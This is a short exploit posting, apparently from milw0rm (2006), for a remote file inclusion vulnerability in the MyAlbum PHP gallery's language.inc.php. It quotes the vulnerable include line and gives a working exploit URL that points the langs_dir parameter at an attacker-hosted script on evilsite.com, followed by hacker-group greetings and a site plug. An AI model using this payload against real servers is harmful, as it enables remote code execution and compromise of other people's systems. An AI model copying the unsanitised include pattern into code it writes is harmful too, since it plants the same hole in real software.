MyAlbum <= 3.02 (language.inc.php) Remote File Inclusion Vulnerability

#============================================================================================== #MyAlbum &#60;= 3.02 (langs_dir) Remote File Inclusion Vulnerability #=============================================================================================== # #Critical Level : hm...i think... # #Script Dowload : http://www.comscripts.com/jump.php?action=script&id=1731 # #Version : 3.XX (maybe others...) # #================================================================================================ # #Bug in : # #./language.inc.php #================================================================================================ # #Vulnerable Code : # # # include($langs_dir.&#34;/messages.&#34;.$lang.&#34;.php&#34;); # #================================================================================================ # #Exploit : #-------------------------------- # #http://sitename.com/[MyAlbum_DIR]/language.inc.php?langs_dir=http://evilsite.com/evilscript.txt? # # #================================================================================================ #Discoverd By : Silahsiz Kuvvetler The TURKISH DEVELOPER # #Contact : co-type[at]hotmail[dot]com # #GreetZ : |FATTALGAZI!| - |MADWORM| - |NARCOTIC| - |MR.TROJAN| - |TILKIANDRE| - |EDORAS| - | XVCX | # #AND ALL STARHACK USERZZ... # #Special Thanqs : str0ke - 0xyGen # #Reklam Kokan Hareket :d ===&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; WWW.STARHACK.ORG &#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;======= # #================================================================================================== # milw0rm.com [2006-11-09]